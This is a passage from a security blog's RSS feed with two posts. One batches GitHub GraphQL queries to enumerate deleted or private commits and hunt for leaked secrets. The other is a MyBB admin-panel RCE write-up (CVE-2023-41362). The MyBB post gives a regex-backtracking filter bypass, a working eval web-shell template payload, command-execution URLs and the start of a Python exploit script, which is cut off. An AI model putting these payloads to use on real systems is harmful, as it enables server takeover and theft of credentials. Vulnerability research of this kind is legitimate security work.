The details about the flaw can be read in this &lt;a href="https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github"&gt;blog post&lt;/a&gt; by TruffleSecurity who discovered the issue.&lt;/p&gt;
&lt;p&gt;After reading that blog post I started writing an exploit script for it to try and find secrets/keys in the wild for bugbounty programs.
The biggest problem with exploiting this is the number of requests you would have to do to enumerate all the commits using all the possible short SHAs. This makes it very tedious to exploit taking 12 hours or more to enumerate the commits from a single repo. Due to this I spent some time reading through the Github API docs to find an endpoint that would take more than one commit id and supports short SHAs. I soon realized that the Github GraphQL API is ideal for this as I can form the query myself and not rely on a REST API endpoint to exist.
This is the query format I settled on:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-graphql" data-lang="graphql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;query&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; repository(owner:&lt;span style="color:#e6db74"&gt;&amp;#34;repo_owner&amp;#34;&lt;/span&gt;,&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;:&lt;span style="color:#e6db74"&gt;&amp;#34;repo_name&amp;#34;&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; a1:&lt;span style="color:#a6e22e"&gt;object&lt;/span&gt;(expression:&lt;span style="color:#e6db74"&gt;&amp;#34;0000&amp;#34;&lt;/span&gt;){&lt;span style="color:#66d9ef"&gt;...&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;on&lt;/span&gt; Commit {oid}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; a2:&lt;span style="color:#a6e22e"&gt;object&lt;/span&gt;(expression:&lt;span style="color:#e6db74"&gt;&amp;#34;0001&amp;#34;&lt;/span&gt;){&lt;span style="color:#66d9ef"&gt;...&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;on&lt;/span&gt; Commit {oid}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This enables testing thousands of commit IDs per request which is a huge improvement on the original technique. From some initial testing I found that having too many commits in a query would lead to instability and that ~400 per query was relatively consistent.&lt;/p&gt;
&lt;p&gt;To improve the exploit script effectiveness further it collects known commits from the repo and if there&amp;rsquo;s a collision it adds short SHAs with an additional character to the queue since if a commit already exists we don&amp;rsquo;t need to extract the data from that commit but we do still want to test those prefixes.&lt;/p&gt;
&lt;p&gt;With this improved technique a repo&amp;rsquo;s commit ids could be discovered and downloaded in about 20 minutes, a significant improvement over the initial strategy.&lt;/p&gt;
&lt;p&gt;The exploit script is available here: &lt;a href="https://github.com/SorceryIE/cfor_exploit"&gt;https://github.com/SorceryIE/cfor_exploit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;After developing this approach I reached out to TruffleSecurity on the 28th of July through their contact form to see if they would be interested in paying for the details. I received no response but it seems that by the &lt;a href="https://github.com/trufflesecurity/trufflehog/pull/3145/commits"&gt;31st of July&lt;/a&gt; they figured out the technique and implemented it to Trufflehog - their secrets scanning tool.
On August 2nd they released a follow up blog post detailing this approach &lt;a href="https://trufflesecurity.com/blog/trufflehog-now-finds-all-deleted-and-private-commits-on-github"&gt;here&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>MyBB Admin Panel RCE CVE-2023-41362</title><link>/posts/mybb_acp_rce/</link><pubDate>Mon, 11 Sep 2023 00:00:00 +0000</pubDate><guid>/posts/mybb_acp_rce/</guid><description>&lt;p&gt;This blog post explores a critical vulnerability in &lt;a href="https://mybb.com/"&gt;MyBB&lt;/a&gt;&amp;rsquo;s admin panel, leading to authenticated Remote Code Execution (RCE).
MyBB is a popular forum software with a template system that utilizes eval() to render templates.&lt;/p&gt;
&lt;p&gt;We will discuss how this vulnerability in the admin panel&amp;rsquo;s template handling can be exploited for RCE.&lt;/p&gt;
&lt;p&gt;We can change these templates in the admin panel. When we submit changes to templates they get put through the &lt;code&gt;check_template()&lt;/code&gt; function in &lt;code&gt;admin/functions.php&lt;/code&gt;.
This function employs regex patterns to scan templates for specific patterns that may indicate malicious code.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;check_template&lt;/span&gt;($template){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Check to see if our database password is in the template
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;#\$config\[(([\&amp;#39;|&amp;#34;]database[\&amp;#39;|&amp;#34;])|([^\&amp;#39;&amp;#34;].*?))\]\[(([\&amp;#39;|&amp;#34;](database|hostname|password|table_prefix|username)[\&amp;#39;|&amp;#34;])|([^\&amp;#39;&amp;#34;].*?))\]#i&amp;#39;&lt;/span&gt;, $template)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// System calls via backtick
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;#\$\s*\{#&amp;#39;&lt;/span&gt;, $template)){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Any other malicious acts?
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Courtesy of ZiNgA BuRgA
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;preg_match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;~&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$.+?&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\\&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}~s&amp;#34;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;preg_replace&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\&amp;gt;|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\&amp;#39;&amp;#34;]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;, $template))){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If check_template returns true the template will be rejected and we won&amp;rsquo;t be able to use it.&lt;/p&gt;
&lt;p&gt;In the 3rd case the input is passed through preg_replace before being checked by the preg_match function.&lt;/p&gt;
&lt;p&gt;In PHP the &lt;a href="https://www.php.net/manual/en/book.pcre.php"&gt;Perl Compatible REgex (PCRE) functions&lt;/a&gt; (preg_match, preg_replace etc.) have a pitfall where they don&amp;rsquo;t throw an exception when they reach their backtrack limit. In the case of preg_replace it will return an empty string when the backtrack limit is reached which allows us to bypass the last preg_match. The regex used here is complex enough that we can cause &lt;a href="https://www.regular-expressions.info/catastrophic.html"&gt;catastrophic backtracking&lt;/a&gt; with just &lt;code&gt;{$a[0]&lt;/code&gt; with repeated &lt;code&gt;[0]&lt;/code&gt; after it. This is a form of &lt;a href="https://en.wikipedia.org/wiki/ReDoS"&gt;ReDoS (Regex Denial of Service)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can use &lt;a href="https://devina.io/redos-checker"&gt;this tool&lt;/a&gt; to determine if a regex is abusable, it even generates strings that trigger these issues.&lt;/p&gt;
&lt;p&gt;You can test the behaviour of the PCRE functions in a PHP shell (&lt;code&gt;php -a&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ini_get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;pcre.backtrack_limit&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1000000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;preg_replace&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;~\\{\\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\\&amp;gt;|\\:\\:)\\$*[a-zA-Z_][a-zA-Z_0-9]*|\\[\s*\\$*([\&amp;#39;&amp;#34;]?)[a-zA-Z_ 0-9 ]+\\2\\]\s*)*\\}~&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;{$a&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;str_repeat&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;[0]&amp;#39;&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;1891&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;}TESTSTRING&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This should print TESTSTRING but instead it will print nothing. Removing one (or more) of the &lt;code&gt;[0]&lt;/code&gt; parts (by reducing the number of repeats) will let it be printed as the backtracking/stack/recursion limit hasn&amp;rsquo;t been reached.&lt;/p&gt;
&lt;p&gt;Now that we can bypass this check all we have to do is include the type payload it was made to prevent in your template (we must still avoid the regex checks before it).
The payload I went with was &lt;code&gt;{$db-&amp;gt;insert_id(isset($_GET[1])?die(eval($_GET[1])):'')}&lt;/code&gt;.
Initially I thought I needed to find a useful function that was in the scope to use the &lt;code&gt;{$x-&amp;gt;()}&lt;/code&gt; format but we found that once we had a function we could do any php calls we needed.
So we opted to use &lt;code&gt;$db-&amp;gt;insert_id()&lt;/code&gt; as it doesnt really have any effect after using it and doesn&amp;rsquo;t error loudly when it doesn&amp;rsquo;t get input.&lt;/p&gt;
&lt;h1 id="proof-of-concept" &gt;Proof of Concept
&lt;/h1&gt;&lt;h2 id="manually" &gt;Manually
&lt;/h2&gt;&lt;p&gt;To demonstrate this vulnerability manually, follow these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Login to admin panel&lt;/li&gt;
&lt;li&gt;Navigate to &amp;ldquo;Templates &amp;amp; Style&amp;rdquo; &amp;gt; &amp;ldquo;Templates&amp;rdquo; &amp;gt; &amp;ldquo;Default Templates.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Select a template (for instance, &amp;ldquo;Who&amp;rsquo;s Online Templates&amp;rdquo;) and click on &amp;ldquo;online.&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Add the following payload to the top of the template:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!--{$db-&amp;gt;insert_id(isset($_GET[1])?die(eval($_GET[1])):&amp;#39;&amp;#39;)}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]}--&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;ol start="5"&gt;
&lt;li&gt;Click one of the Save buttons&lt;/li&gt;
&lt;li&gt;
&lt;ul&gt;
&lt;li&gt;PHPInfo PoC: &lt;a href="http://example.com/online.php?1=phpinfo();"&gt;http://example.com/online.php?1=phpinfo();&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Command Exec: &lt;a href="http://example.com/online.php?1=system('whoami;pwd');"&gt;http://example.com/online.php?1=system('whoami;pwd');&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="exploit-script" &gt;Exploit script
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Exploit script for CVE-2023-41362&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# https://blog.sorcery.ie/posts/mybb_acp_rce/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; argparse
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; logging
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; base64 &lt;span style="color:#f92672"&gt;import&lt;/span&gt; b64encode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CustomFormatter&lt;/span&gt;(logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Formatter):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; yellow &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x1b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;[33;20m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; red &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x1b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;[31;20m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; bold_red &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x1b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;[31;1m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; reset &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x1b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; format &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;%(levelname)s&lt;/span&gt;&lt;span style="color:#e6db74"&gt;: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;%(message)s&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; FORMATS &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;DEBUG: format,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;INFO: &lt;span style="color:#e6db74"&gt;&amp;#34;[*] &lt;/span&gt;&lt;span style="color:#e6db74"&gt;%(message)s&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;WARNING: yellow &lt;span style="color:#f92672"&gt;+&lt;/span&gt; format &lt;span style="color:#f92672"&gt;+&lt;/span&gt; reset,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ERROR: red &lt;span style="color:#f92672"&gt;+&lt;/span&gt; format &lt;span style="color:#f92672"&gt;+&lt;/span&gt; reset,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; logging&lt;span style="color:#f92672"&gt;.&lt;/span&gt;CRITICAL: bold_red &lt;span style="color:#f92672"&gt;+&lt;/span&gt; format &lt;span style="color:#f92672"&gt;+&lt;/span&gt; reset
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;format&lt;/span&gt;(self, record):
